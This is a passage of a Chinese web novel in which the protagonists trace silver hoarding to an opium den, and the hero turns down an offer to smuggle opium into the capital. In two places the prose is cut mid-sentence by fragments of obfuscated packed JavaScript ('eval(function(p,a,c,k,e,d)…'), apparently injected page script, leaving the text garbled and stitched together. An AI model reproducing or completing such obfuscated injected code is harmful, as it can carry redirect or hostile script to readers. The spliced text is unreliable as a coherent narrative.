黄棕菖问,“怎么?” 赵毓,“户部马上要收税,如果此时银价过低,收上多少东西,是要折算成白银的,那么,能兑一两银子的东西就少。比如,往年户部一两银子能兑大米二石,也就是四百斤大米,今年可能只能兑大米一石,这顷刻之间少了二百斤大米,你让户部这个本来就得拆了东墙补西墙的衙门口,到哪里给你变出那二百斤大米?” 闻言,黄棕菖呲牙乐了,“祖宗,您这可真是咸吃萝卜淡操心。自我懂事读书开始,到现在,一直在司礼监,我翻遍了户部历来的书册,自从户部以白银开始计税那一天开始,银子可从来没有贱的时候。咱大郑幅员辽阔,人丁兴旺,繁华盛世,但是,缺白银。” 现在市面上的白银一部分采自浙江福建交界处的云和的银矿,还有就是市舶司与西洋通商,以丝绸、茶叶还有瓷器换的白银。 可是,不够,似乎永远也不够。 不够,而天下人都想要的东西,价格就贵;反之,则贱。 “也是。”赵毓点头。 这些他都知道,所以,他才知道哪里窖藏了大量的现银。 今早,文湛在他耳边说情话的时候,赵毓就忽然反应过来: ——如果说文湛对他的迷恋如同天下对白银的渴求,那么,多少都不嫌多,而,多少也不足够。 此时,之于文湛来说,他对于这份感情就会过于看重以至于患得患失,而之于天下众人,他们就会不惜一切希求白银,窖藏起来,如有可能,永不示人。 这种事,他当年去江南筹军饷的时候见多了。 江南等闲一豪族窖藏白银就超过百万两,家藏四、五十万两白银的人家在膏腴之地只是中等,而户部一年的税银不过七、八千万两。 发生这样的事情,就是因为缺白银。 所以,多少白银也不够多。 这些人,藏了那么多,还是害怕。 黄棕菖安慰他,“祖宗,别担心,银价打下来,也不会是一地鸡毛。雍京乱不了。” 南城。 一家茶馆。 周围是荒地。 薛宣平有些焦急的等在这里,他得了信,今天会在这里看到赵毓,有很重要的事情需要去做。非常重要,比他在西北道的演武堂等萧老大从天津港回来,还有,比等待几个雍京城有名的的当铺给他们送两百万两现银还要重要。 他刚喝了一壶茶,就看见了赵毓,刚刚在茶馆木栏外面的荒地下马。 他身后还有几个人。 此时,赵毓身上穿着一整套缂丝的长衫。 虽然老薛知道老赵这个人出手阔绰,身家巨万,并且几乎有一种不可思议的挣钱能力,他似乎可以在虚空中划出一道口子,而用麻袋等候在那里,就可以流淌出难以想象数量的白银,但是,…… 他这套衣袍。 有些,…… 赵毓身后就是上次在绮镇同他不清不楚的那个小白脸。 居然,也是一身缂丝。 薛宣平眼尖,只瞄一眼,他就能分辨出赵毓和那个小白脸身上的衣料来历非比寻常。 ——贡品! 难不成,最近雍京的银价波动已经影响到禁宫大内?平时不可一世的制造局居然开始暗自向大户贩卖贡品缂丝来贮藏白银? 这个想法太疯狂。 薛宣平虽然读书不多,但是他也知道,大郑国法煌煌,这种缂丝只能是那些王公贵族的皮,只能包裹那些苍白虚弱、犹如鹿彘一般肥大的肉|体,就比如当年想要混军功却死在西疆的徽郡王的小孙子。等闲小老百姓想要这样一身皮,怕不要把自己身上的皮扒一层下来吧。 老赵敢穿这个,……,难不成,想要去一个‘仙人跳’的局? 他们这是要假装王公去骗白银? 赵毓一过来,径自坐在薛宣平对面,拿着一个茶碗就开始牛饮。 “老薛,我昨天得了个信儿,沈臻回雍京城了。” “谁?老沈?”薛宣平的脑袋摇晃的好像是拨浪鼓,“不可能!他老丈人当年说过,只要他老人家还有一口气在,老沈这辈子别想踏足雍京城!只要不听话,哪只脚丫子进来砍掉哪只,要是整个人进来,直接剁掉命根子!” 赵毓,“他老人家不会出什么事了吧,比如,没有气了?……” “不可能!”薛宣平一口咬定,“八月十五他老人家做寿的时候,我还去了。当时我送了一百斤挂面,五十个寿桃馒头,还有二十坛老酒。酒宴的时候他老人家还吃了一只烤鸭子,看不出哪里不对劲。不过,……” 赵毓,“怎么?” 薛宣平有些迟疑,“我不知道是不是我坏事做多了,疑心生暗鬼。我总觉得,那位老人家那天有些犯困,酒宴没开的时候打了几个哈欠,后来我一直跟萧老大说话,也就没再注意,等酒席开了之后,老爷子入席,又是一副红光满面的模样了。” 赵毓不说话,瞥了他一眼。他心思动了动,暗自想了一下,不好,这白老爷子一会儿打哈欠,一会儿有红光满面,怎么看怎么像是烟膏上瘾。 “我也不知道我怎么就记得这个。”薛宣平还挠了挠肥大的脑门,一副不得要领的样子。 赵毓手指在桌面上滑动了几下,没说话。 文湛问了一句,“沈臻的岳家是谁?” 赵毓还没开口,薛宣平有些诧异,“小哥,你不知道吗?老沈的丈人爹是白歙。” 即使文湛喜怒不形于色,此时也有些茫然。 ——白歙。 薛宣平说话有些口音,他甚至刚开始听成了‘白蛇’,不过他意识到,这两个字不可能成为一个人的名字,所以,想了想,还是觉得另外一个不知名的歙字比较合适。 这是,…… 赵毓,“凤化二十七年的进士,致仕之前是五品翰林,一直在编书。” 文湛在翰林院常见的是一些新科入选的庶吉士,或者是一些文采出众的宿儒,似白歙这位几十年的宦海,离开官场之前才是五品官员,并且还在翰林院这个清苦的地方编书,除了天承殿的大朝会,几乎没有任何时机可以面圣。是以,文湛不但没有见过他,甚至没有听说过他的名字。 薛宣平又问,“小哥真的不知道白歙这个人?你不是在翰林院供职吗?” 文湛看了他一眼,“我不在翰林院。”随后,他对赵毓说,“我原本以为翰林院是个清苦的地方,权位不高,没想到,那里的人说话也这样霸道。” 赵毓却说,“这位老人家只是清贵,他可不清苦。他老娘是当年内阁大学士郑末的大闺女,嫁妆丰厚,福荫子孙几代人。雍京北城有几个铺子都是他们家的,扬州,金陵,苏州还有广州都有买卖,要说这日子过的相当不错。他老婆出身也不错,云中人,和尹部堂还是一表三千里的远亲,陪嫁丰厚。要说这家家有本难念的经,这日子太和顺了就出麻烦。他们家大姑娘那里都好,就是眼瞎,看得上老沈。” 尹部堂? 薛宣平听着就是一愣。 这不太像赵毓说话的口气,平时,他提到他老丈人尹明扬,都是直接说‘绮罗他亲爹’,或者是‘我老丈人’,像现在这样装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓用一种说不清楚那里的口音先是念了咒,随后对小厮说,“你已经中了我金花大神的符咒,你的魂儿被我收了,日头落下之后,金花大神要用你的魂魄炼成丹药,吞下之后可长生不老!如果你想要魂魄归位,就要听我差遣,我乃金花大神座下大弟子,法号无量子,……” 文湛,“……” 薛宣平揣着手,龇牙乐,“又来这招。” 文湛侧了一下眼睛,难得开口,有些纡尊降贵的意味,“这招是什么招?” 薛宣平也看了看他,对文湛这种表面上温文尔雅,实际上傲慢无礼也是看不惯,不过,看在赵毓的面子和文湛好歹表现的儒雅的样子上,他还是解释道,“老赵这是拍花子,老辈子传下来的行当。江湖上有人缺了八辈子德,用这招拐小孩儿,老赵学来装神弄鬼。他能让壁虎大仙上身,还能叫魂和镇鬼,……,呃,好像风水也能看,藏精聚气,挪移祖宅。反正,不管多荒谬的话,只要让他那张脸一本正经的说出来,没有人不信的。当年宁州欠军饷,老赵去嘉峪关讨钱,说他夜观天象,掐指一算,驻守那里的一位封疆大吏有更远大的前程,不可说,不可明说。但是这个前程不能凭空砸下来,需要撒大量的银子,做一场大法事。于是老赵身披法袍,围住月破星巾,挥舞霓裳霞袖,手执十绝灵幡,做了三天的法事,愣是从宁州搬来十万军饷。” 文湛也不知道薛宣平说的是哪位‘具有不可说前程的封疆大吏’,只是问,“你口中的这位大人,现在可封侯拜相?” 薛宣平摇头,“他死了。” 文湛,“……” 薛宣平,“那一年宁州大旱,这位大人居然伙同一帮奸商屯粮,民怨沸腾,激起了民变,最后让宁淮侯拿着圣旨给宰了。老赵后来说,这位好像是什么什么星宿下凡,如今在人间功德圆满,回归天庭了。” 文湛,“……” 薛宣平,“我觉得宁淮侯崔珩到像个星宿。” 文湛,“……” “小哥。”薛宣平,“我当年倒是远远看过崔侯爷一眼,长的真周正,还会吹笛子。当时听见人家吹了一曲,就是好听。怨不得古诗总是说什么此曲只应天上有,人间能得几回闻?老赵也跟着人家崔侯爷学,就是学的不精,他,……” 文湛截断薛宣平的话,“如此无稽之谈,居然有人相信。” “信!”薛宣平却说,“盛世乱世,人命如草芥。要是没有这漫天神佛,苦了今生修来世,小民百姓怎么熬下去?” 文湛的眉不经意的微微皱起,“我不是说百姓,我说的是那位官员。” “读书人更信这个。”薛宣平乐的眼睛都没了,“所求的太多,心太大,道路又艰险,自然开始求神拜鬼。佛祖他们倒是不太喜欢,因为我佛太超脱。”随后,他又来了一句,“这是老赵的话,我挪过来的。小哥你千万别跟别人说。” 文湛,“怎么?” 薛宣平极其憨厚的咧嘴一笑,“如今是太平盛世,皇帝老儿端坐金銮殿,咱们在这里偷偷说盛世老百姓活的也不容易,皇上他老人家不爱听。” 文湛清了清嗓子,“皇帝,……,他老人家?” 薛宣平,“怎么,不对吗?”随后,他掰着手指说,“今年是元熙十三年,皇上他老人家登大寳的时候,怎么也得三十几岁了,如今这又过了十三年,估摸着也是五十多岁的人了。再加上人家是君父,我们尊称一声老人家,也算子民的一点孝心。是呗,小哥?” 赵毓带着那个已经懵了的小厮过来。 他低声说,“这是老沈的小伙计,他带我们过去。” 薛宣平都不用问赵毓怎么认得这个好像面缸里面刨出来的家伙,直接伸手到小厮脸上,用手指沾了点面渣,闻了闻,心说,好像里面加了一些附子花的干粉末,果然,这让人晕的更快了。 此时,有人带过来几身旧衣服,赵毓与文湛换了衣袍。 那个满面白的小厮带他们到了一个院子外面,这里看上去好像是繁华逝去的残渣。 薛宣平有些纳闷,“老沈来了雍京肯定不想安生,他在这个前不着村后不着店的鬼地方,到底做什么生意?” 赵毓,“烟馆。” 薛宣平听着就向后倒了一步,“我原来只是觉得这小子为了攀附心术不正,现在看来,果然是坏到根了。对付这样的恶人,还需要老赵你这样的能人出手。翠江阁的小红今儿摆酒,我得过去捧场。” 说着,就想要脚底抹油。 赵毓揪住他的后脖领子,拽了回来,“我与老沈不说话,要是今天遇到他,得需要你这个人在当中牵线搭桥。” “不对!”薛宣平摇头晃脑,“你不是与老沈不讲话,你是与老沈现在那个小老婆不讲话。” 65. 65 65 “人家的小老婆,我去和人家说话,这像样子吗?” 赵毓说这话的时候,脸色有些不太对劲。 薛宣平知道赵毓这老小子一向怜香惜玉,即使面对加茉那样的人,说出的话也不会很过分,此时倒是有些真正的不耐烦,像是完全不愿意回想起来沈臻这位如夫人的一切。 文湛脸色如常,他像是什么都没有听见,只是安静抬头,看着眼前的院子。 这是一座废弃的王府。——景王府。 三年前,景王勾结禁卫军统领反叛,以南苑围猎为可乘之机,变起肘腋。文湛杀出重围却身受重伤。他昏迷七天,以为自己可以安静的葬入万年吉壤,却在醒来的时候看到了承怡。是的,承怡,是他原本以为此生不会再见的承怡。虽然,这个结果于他是万幸中的万幸,却不是饶恕叛|乱的理由。 他醒过来的那几月,雍京被血洗了一遍又一遍。 景王是宗室,却依旧避免不了被屠戮的命运。 因为这样的苗头需要立刻剪除,原因就是他之前对承怡说的那样:——大郑的皇族在血液中有谋权夺位的凶性,而嫡长子继承制只是一个禁锢这种凶性的脆弱的铁笼。 三年。 仅仅三年,一座显赫的王府开始残破。 也许小厮当真相信赵毓已经摄取了他的魂魄,他带路进入这个地方,显得非常平和与虔诚。 废弃的王府成为一个隐秘的烟馆。 雕梁画栋的外壳一直还在,内里的腐烂也一直在。 奇异的香气萦绕。 全是雅间,一小间,一小间,雕花门关闭,棉布帘子严丝合缝的垂着。 赵毓让那个被他拍了一脸白面的小厮给他们找个雅间,里面一张巨大的酸枝大床,床的正中摆放着一个小小的木桌,上面是看上去有些朴素的烟枪,还有一套旧时的薄瓷茶具,和一碟子点心。 “几位老爷想要什么烟土?”小厮看到赵毓颇为熟练的拿起来烟枪在手中摩挲了一下,就知道这位不是生客,再加上他们身上原本穿着华美,又精通摄魂之术,自然不敢怠慢,“我们这里有外洋进来的上等货,都是泰西烟土,味道好的很,我给您点个烟泡,您尝尝?” 赵毓放下烟枪,“小哥真会说话,现在烟土都是外洋来的,顶多分了泰西货和天竺货。再说,天竺那边温暖潮湿,种罂粟也容易,货嘛,自然容易弄一些,价格也便宜。” “老爷果然是同道中人。”小厮看了看赵毓,才说,“现在好多老爷都喜欢这一口。我听说,……” 他凑近了一些才说,“雍京北城的落英巷,……” 此时,外面有小丫鬟端了烟膏进来。 “老爷们,可让小子们伺候?” 赵毓摇头,“不用,我们自己烧。你们弄的味道不那么对劲。” “老爷说的是,我们怎么比得上您的手艺?” 那个小厮一面奉承着,一面打开用琉璃罐子装着的烟膏,露出黑洞洞的颜色,双手递给赵毓,让他闻了闻,随后,放回案桌上,慢慢退出去,也关上了门。 三人中,只有文湛是第一次见到鸦片烟膏。 他仔细看了看,开口,“郑人用阿芙蓉已经很久了,一直是泡水泡酒喝,用来治疗头疼,疗伤时候用来镇痛,虽然长久饮用会有瘾症,但是一般并不轻易上瘾。这个东西,……” 赵毓,“用烟枪烧,直接吸,很容易上瘾。人要是染上鸦片之后,销肉蚀骨,要是有段时间不吸上一口,全身就好像有千万只蚂蚁在噬咬,那个时候,就算立刻死去,也要非再吸一口不可。人到了这般田地,真是生不如死了。可怕的是,这种的瘾症根本无法戒掉,不死不休。” 他说着,将几种烟膏都尝了一口。 “现在鸦片烟膏昂贵,还祸害不到普通人,要是一旦泰西商人找到便宜的烟土,那个时候,……” “老朋友到了,居然不告诉我,真是太不够意思了,哈哈!”外面有一声朗笑,随后,这雅间的门被推开,一个身上穿着深蓝色棉布长衫的男人走进来。这个人看上去很是斯文,未语先笑,竟然有几分赵毓的意思。他就站在门口,问着里面的人,“那个时候就怎么样啊?” 薛宣平立马迎上去,“老沈!不够意思,你到了雍京都不知道知会兄弟一声!” “我这人有一点好处,就是会看人脸色。”那人继续笑,虽然像赵毓,却多了一份的芜杂,好像是一份上好的晶莹剔透的冰糖莲子汤中掺入了花椒和大料。“我知道元承将军不想看到我。” “哪辈子的老黄历了。”薛宣平一挥手,“兄弟,就是一天做兄弟,一辈子都是兄弟!老沈,我和老赵没事过来走动走动,真没想到,这里是你的买卖。” “不对吧。”薛宣平打圆场,沈臻不领情,“我在家中摆了好酒好菜等你们,你们不来,非要钻山打洞的到我这个烟馆来,赵毓,你又想做什么?” 薛宣平没有想到沈臻一点马虎眼也不肯打,一点台阶也不给,他不知道还要怎么接话才能圆场。 赵毓却说,“沈先生,我来,是想要问你借一些银子的。” 沈臻似笑非笑,“银票?” 赵毓,“现银。” 沈臻,“多少?” 赵毓,“你有多少?” 沈臻,“要多少有多少,只是,看你出什么价了。虽然只是几天的过桥债,也不便宜。” 赵毓,“让我看看你的银窖。” 沈臻没说话,低头,似笑非笑的。 赵毓则说,“没有就算了。雍京毕竟不是江南,这里是天子脚下,人口多,眼睛多,很多事情做起来没有那么自由。再说,雍京权贵多,沈兄如此聪敏,自然不能把自己养成猪一样的一只大肥羊,不然,不定头顶上什么时候掉刀子,被砍了,不那么容易恢复。南浔那里,中等人家也能藏银四五十万两;沈兄这里,可有现银十万?” 薛宣平听着微微动了动耳朵,——赵毓还是那个赵毓,几句话说的怪里怪气,阴损阴损的。 沈臻最好面子。 赵毓话都说到了这份上,要是沈臻还想在雍京城保住头脸,今天必须开银窖。 果然,沈臻适宜的笑着说,“就这么点小事情,赵兄打发个小子过来传个话就好。”他话音不落,也不着痕迹的打量了几眼文湛,却看不出个所以然来。 赵毓也笑,“那样显得我多不巴结?” 沈臻让开门口,“几位,跟我来。” 赵毓顺手拿过那个放着烟膏的琉璃罐子,“沈先生,这个也送我吧。” “我倒是求之不得。”沈臻笑的好像一罐子蜂蜜,“不过,我知道赵兄不是同道中人。你要是真想要吸这个,要多少,我供你多少。”虽然他在笑,这话说的却是字里行间中透着杀机。 赵毓自然明白。 凡是真正见识过鸦片的祸害,就不会允许自己沾染上它,哪怕一丁半点。 那是深渊,是地狱。 赵毓走过,沈臻却拦住了文湛,“这位先生眼生,您是,……” 薛宣平连忙打马虎眼,“老赵的朋友。” 沈臻,“什么朋友?” “老沈,你看看你,你这样就不厚道了。”薛宣平,“老赵的朋友,自然是自己人。咱们这么多年不见,你别这么小气。” “我到不是小气。”沈臻看着赵毓,“银窖关乎我身家性命,不三不四的人,恕不接待。” 随后,沈臻眼风扫过文湛。 他以为此人听了自己的话会动容,会失态,会愤怒,可是,他没想到,文湛那张难以言表的脸上如同冻土一般,一丝表情也没有,此时的文湛就像一尊玉雕的人像,可以直接摆在供坛之上。 “既然沈先生这么不愿意借钱给我,就算了。”赵毓手中却把琉璃罐子放了回去,“只是,不要找借口挑剔我身边的人,这样不太好。” 沈臻,“既然是赵兄身边的人,那,为我引荐一下?” 薛宣平一想,自己见过这个小白脸好几次了,就是不知道他叫啥,所以,也竖起耳朵仔细听。 赵毓却摇头,“我朋友腼腆。” 沈臻,“所以,……” 赵毓只是笑,就是不再说什么了。 文湛侧身,沈臻也不再阻挡。 此时,有脚步声。 似乎是雨水落入荷叶,又好像是艳丽的薄纱划过戈壁。 “难得元承哥哥也有朋友,真是百年难得一见。” 过来一个姑娘,似乎是拉莫孔雀河旁艳丽刺目,却见血封喉的蓝蝎花。她身上是白色的衣裙,似乎在为人戴孝,却又与郑人的习俗不尽相同。而她那双眼睛,蓝色的,犹如大漠一尘不染的碧透天空。 “加茉。” 赵毓则向旁边走了一步,挡在加茉与文湛之间,像一座生铁浇筑的城池。 “元承哥哥真冷淡,我们曾经生死与共,还有,在雍京的传闻中,我们可是情到浓时的爱侣呢!” 赵毓则说,“无稽之谈。” 闻言,加茉还在笑,却像是天山脚下,那些干涸的河谷,已经龟裂的沙土。 “元承哥哥见到我,不想问我一些什么事情吗?” “想。”赵毓点头。 他微微向前走了一步,两步,就在加茉面前站住。随后,他微微抬手,从加茉的发顶拿下一片方才在外面飘落的草籽。 赵毓柔和的像水一样。 但是,加茉却知道,这个人却是冰雪融化之后的水,看着清澈见底,却冰冷刺骨。 赵毓轻轻俯下|身,在加茉耳边以极轻极轻的近似于情人之间的耳鬓厮磨一般的声音耳语: ——“回去告诉贵霜王子殿下,我已经看到尹徵的手指,如果他再受到任何伤害,我将竭我毕生之力,征兵,踏平西疆十六国!我要把你们的部族从疆土上,从青史上完全抹去。” 说完,赵毓像一个真正的高昌男人那样,用自己的面颊微微碰了碰加茉的面颊。 像是一对亲人,在诀别。 此后,就是生死界。 加茉的眼睛直勾勾的盯着赵毓,如同一头母狼,终于露出了獠牙。 随后,她的眼光转向了赵毓身后的文湛。 她从来没有见过这个人,她甚至不知道这个人的存在。她不知道文湛是谁,什么身份,什么背景,能做什么事情,不能做什么事情。但是,加茉知道,文湛对于赵毓而言,一定是一个极其特殊的存在。 文湛也是第一次见到加茉,不同的是,他知道她的存在。 他以为自己会见到一个遥远又无比熟悉的噩梦,可是,事实上,他错了。 加茉不过是一个普通的女人。 唯一不同于雍京城那些似锦的繁花,加茉是高昌人。 高昌,……,对于文湛,甚至连敌国都算不上。 他安静的从赵毓身后走出来。 加茉注意到文湛的手,在低垂的宽大衣袖的掩盖中,握住一柄细长的匕|首。 她在雍京城也有一段时日了,她见过这种匕|首,虽然细,却是钨钢打造,可以刺穿犀牛皮的铠甲。 然而,这些并不重要。 这把匕|首最难得的是它的出身,系出名门,雍京制造局的精品! 能使用它的人,身份贵重到不言而喻。 加茉眼中的文湛,若非天子近卫,就是大郑军队的勋贵。 想到这里,她又极其仔细盯着文湛看了看,却似乎又什么都看不出来。 只是觉得,此人是如此的陌生。 陌生到,似乎不应该同赵毓有任何往来一般。 那边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当然,他也不是枉顾大郑国法。虽然沈臻做的是刨祖坟的恶事,但是目前国法的确不禁鸦片,他赵毓就不能随便找人断人家的财路。他能做的,也只是以低廉一些的价钱使用沈臻窖藏的白银而已。 只是,如今加茉在,…… 这就意味着加茉身后的那些人,同沈臻有些千丝万缕的勾结。 而要命的是,赵毓根本不知道他们之间究竟是什么勾结。 未知。 这真是一个无底的深渊。 ——‘雍京银价暴涨的背后,有没有加茉、洪丁,甚至是那个看似远在天边实际手已经伸到雍京城的贵霜殿下?’ ——‘他今天到沈宅,会不会最终是别人设下的一个局?’ ——‘如果从沈臻这里拿走过多的白银,会不会导致雍京银价下降过快,以至于银价彻底崩塌?’ ——‘沈臻究竟是想要自己拿走白银,还是不想?’ …… 薛宣平看了看,忽然吵着要看沈臻的花园,所以生拉硬拽的将人拖走。临走,还对赵毓飞了半天的眼色,让他去攻加茉。 文湛看着他的表情,忽然很想喝口酒,他活生生的忍住了。 “元承哥哥,你在害怕。”加茉不在酒席上,站在亭子一旁,她手中一个小木盘,上面是鱼食,她饶有兴味的喂着亭子外湖水中的锦鲤,“我从来没有见过你害怕。” “那是你不了解。”赵毓也站起来,他也到亭子边,看着外面的翠竹,一边一边变黄枯萎,雍京的深秋已经到来。他说,“我一直胆子小,头顶一片树叶砸下来,都能把我吓的半死。” “这,我倒是真不知道。”加茉随意又撒了一小把鱼食,“我还以为元承哥哥是个天不怕地不怕的人物。看样子,真像你们郑人说过的那样,画人画虎难画骨,知人知面不知心。” 赵毓,“你怎么和沈臻在一起?” “因为,沈哥哥拿我们当人看。”加茉,“溯黛姐姐爱他。他待姐姐很好,他对我们也好。” 赵毓,“既然沈先生对溯黛好,为什么不娶她为正妻?” “还不是你们郑人规矩多?”加茉将手中的木盘抖落一下,鱼食尽入湖水中,“大郑礼法森严,容不下一个高昌女子。溯黛姐姐是王族之后,一双眼睛碧蓝的犹如圣湖之水,在雍京城只可为奴为婢,做不了主母。” 赵毓,“加茉,你和溯黛,是不是一开始,就把自己摆放在低人一等的位子上?” 加茉冷笑,“哥哥说话,真不好听。” 赵毓,“大郑礼法森严,可是西疆各国却不信奉。那里的小儿女只要彼此有情义,不需要父母之命,媒妁之言,他们面对长生天许愿就可以成婚。如果当真爱她,为什么不去她的部族,她的国度,找一方对她当真和善的土地,与她堂堂正正的生儿育女?” 加茉没有说话,拿着木盘,手指却开始扭曲。 赵毓继续,“溯黛爱沈臻,这我们都知道。她为了爱他,宁可以王女的身份做一个奴妾。还有,她背弃了自己多年念的经书,用毒|药去戕害沈夫人这样一个无辜的女子。加茉,你们以为沈臻不娶溯黛是因为沈夫人曾经占据了正妻的位子,是因为大郑的礼教吗?” ——“不然还因为什么?” 一名女子,慢慢走上台阶。 她背后是湖水,是花海,是无尽的早已经被尘封的回忆。 文湛震惊。 他甚至站起,看着走过来的这个人。他看着她的眼睛,就好像很多很多很多年前,那场禁宫夜宴。 漫天烟花,绚烂至极! 也有一双这样相似的眼睛,穿过虚妄繁华,隔着美丽的舞姬,琼浆玉液,皇族贵戚看了过来…… 子夜盛开的昙花一般,纤薄,透明,饱满,冶艳而脆弱。 而此时,赵毓却波澜不惊。 他似乎没有听见那名女子的问话,只是对加茉说,“既然到了雍京,既然你们都这么喜爱遵守大郑的礼法,自然知道我们这里有圣人训,男女授受不亲。加茉妹妹未嫁人,与我是旧相识,当然可以同我面对面说话,只是这位如夫人却不可。加茉,烦您请沈兄这位如夫人回避。” 66. 66 66 加茉却说,“元承哥哥还是那样怜香惜玉,只是这次怜惜的却是那位已经仙逝的沈夫人。” “我到不是怜惜她,我只是觉得,……”赵毓忽然笑了,“沈夫人不是你们的敌人,她只是一个可怜的女人,她是沈臻的正妻,过的日子也并不如意。加茉,你们都以为彼此是仇敌,却不知道,……” …… 随即,赵毓没头没脑的低声说了一句没来由的话: “……太自大了,知道自己做错,却不改正,反而不断为自己找借口,来维护当初那个做错事情的自己,以至于一错再错,泥潭深陷,……” …… 加茉听不明白,文湛却明白了。 他一言不发,走到亭子边,看着眼前的湖水,还有那群正在水中翻腾,抢夺鱼食的锦鲤。 而那位溯黛果然没有走近,反而端坐在彼端酒席旁边的红木椅子上,像个真正的雍京贵女一般。 加茉说,“元承哥哥,我们来做一笔生意吧。” “请说。”赵毓点头。 如果沈臻没有话让加茉带到,赵毓不认为仅凭借薛宣平就可以将他拖离。 加茉,“沈哥哥的意思是,大家认识了这么久,既然一日是兄弟,一辈子也是,有什么恩怨是白银、大笔的白银无法化解的呢?” 赵毓闻言大笑,拍手说了三声:——好、好、好!! 赵毓,“妹妹有什么好建议?” 加茉,“目前,鸦片的价钱实在太贵,就是因为货物难得。” “所有的烟膏全部是泰西商人从海上运来,只能从广州偷摸些许带进一些。目前你们大郑的朝廷有海禁,泰西商人不能与平民交往,只可以与通过朝廷认定的商行通商,而这些商人依仗朝廷赋予的特权对于鸦片进行重税盘剥。” “除此之外,运河由沿途的豪族士绅把持,只要过路,就要被扒一层皮。海运更是不可通航,外海上倭寇横行,东海上盛执玉的水师有名的雁过拔毛。” “此番种种,导致一包鸦片烟膏从广州进雍京,价钱要翻上数十倍,这可不是生意长生之道。” 赵毓安静的听着,似乎这些话,就如同外面刮过的清风一般,无法撼动他们眼前的树,就已经消逝的无有踪影。 他,“妹妹想要我做什么?” 加茉,“我知道元承哥哥手眼通天,只要你能打通关卡,让鸦片可以畅通无阻的运到雍京城,所有的获利,你拿六成!” 随后,她见赵毓沉默,于是又加了一句,“七成!” 赵毓有些好笑,却也有些好奇,他反问,“为什么,妹妹以为我有可能答应这件事?” 加茉,“元承哥哥没有儿子。” 赵毓,“所以,……” 加茉,“难道元承哥哥不曾耳闻,在西疆,大家都传,赵氏绝后就是因为你在西疆杀戮过重引起长生天震怒,降下的诅咒?” 赵毓,“……” 加茉,“既然元承哥哥今生已经在冤孽之路上走的够远了,再远一些,又如何?赵毓,你在西疆杀人屠城,毁耕地,像牛羊一样奴役我们的族人,难道不是为了白银吗?既然如此,运一些鸦片这些大家都喜欢的东西来雍京,让失意的人得以醉生梦死,寥为此生。而哥哥既可以得到大笔白花花的银子,又可以不用造杀孽,何乐不为?” 赵毓轻轻呼出一口气,似乎上辈子咽下去的,这辈子终于吐了出来。 “加茉,你见过鸦片成瘾的烟鬼吗?” “是的,烟鬼,不能称他们为人了。” “瘾症发作之后,为了一口烟,什么都不顾了。身体可卖,至亲可杀,每一时每一刻都是人间地狱,逃不掉,只有一死才是解脱。” “如果大郑疆域上鸦片泛滥,那么不出十年,整个国家没有可用之兵,也没有可生之民。” ——你要我以一己私|欲自毁长城? 加茉却不以为然,“这些,同元承哥哥又有什么关系呢?” 赵毓低头不语。 加茉,“哥哥原本是将军,可是你妻子的父亲却为了自己的权力而剥夺了你的功劳,你所做的一切全部是为了成就他‘西北王’的不世功勋。以元承哥哥的功绩,就算不能异姓封王,列土封疆,至少也可以名列大郑勋贵名碟!但是,如今的你只是一介草民。赵毓,我想问问,你甘心吗?” “……” 半晌,赵毓似乎在自言自语,“我做个草民,究竟招谁惹谁了,怎么谁都以为我不甘心?” 忽然。 他感觉嘴里被塞了一个糖块,有繁花的馥郁,话梅的甘酸,还有蜂蜜的清甜。 赵毓不用抬头,就能看见文湛玉白色的手指。 “这是,……”他抬头看着他。 文湛,“今早我从老二那里抓的枫露糖。他最近清心寡欲,想要辟谷念经,于是蜜炼了一些枫露,据说吃一块可以七天不知饥饿,吃两块可以一年不用饭食,而吃三块,可以长生不老。” 文湛是个极其方正的人,他自幼时到如今很少说笑,此时一本正经的胡说八道,让赵毓有些不知所以。 此时,文湛却还算和善的对着加茉,“姑娘,你的好意,心领。只是,人生在世,有所为,有所不为。” 加茉问文湛,“你是谁?” 文湛,“我行六。” 加茉,“哪家的六公子?” 文湛却是不语。 加茉仔细盯着文湛的双眼,她似乎想要从那双如同黑色琉璃一般的眼睛中看透这个人。 却,一无所获。 文湛的俊美世所罕见,只要他站在这里,周围的一切尽成沙土!如此人物,却无人知道他的历来,这本身就说明了一切。 他一定权势滔天。 才能在千年繁华、龙蛇混杂的雍京,将自己藏匿到无影无踪。 沈臻连同薛宣平回来,看见亭子中的四个人气氛还算平和,不过他也知道,他要加茉劝赵毓做的事情,加茉没有做成。 不过也没什么。 多张一次口,终究多一次的机会。 沈臻让人奉茶,“赵兄与我是敌是友,这不重要,咱们西北道有一句话,天大的事情,地大的银子,所谓的兄弟之情,生死同盟,到最后,还需要白银浇筑。我不急,等赵兄以后想通透了,我们再谈。” 赵毓本来想要说,——“鸦片这种断子绝孙的生意,我不做。我有至爱至亲之人,我得为他们积德。” 后来一转念,今天终究过来想要问沈臻借银子,而不是抄家来的,怎么也要在言语上留上几分余地。 他只是不语。 沈臻却也是有意思,他当真领着赵毓他们到了银窖。 三重生铁铸的大门缓缓推开。 众人眼前是一条铺着大长青石的路,一级一级台阶,通向地下。 沈臻举着火把,第一个踏着台阶向下走。 赵毓转身对文湛说,“你留在这里。” 文湛微微摇头,“我跟你下去。”随即,他在赵毓耳边极轻的说了一句,“别担心,裴檀在外面。” 薛宣平到没有这么多顾及,他也拿过一火把,跟着沈臻就下了台阶。 赵毓心中有些忐忑,说实话,就目前的情况来看,他根本摸不准沈臻的脉。他不知道这个人是不是想要在银窖中把他们一锅烩了,可是,感觉又不太像。犹豫中,文湛从旁边伺候的小厮中拿过火把,下了两级台阶,扯了扯赵毓的袖子。 “走吧。” …… “好。” 沈臻的银窖虽然在地下,可是四周尽是火把,也通风,这些光芒照在整齐摆放在木架子之上的银锭上,闪着森森的冷芒。 “赵兄。”沈臻开口,“你能估出这里有多少现银?” 赵毓没有说话,却是文湛开口,“不足一百五十万两。而且,成色不好。” 沈臻咯咯笑了一声,才说,“我问的是赵兄,六公子不要开口。如果您不当心做了什么决定,赵兄不认账,我会很麻烦。我说过,这里是我的身家性命,我可不能掉以轻心。” 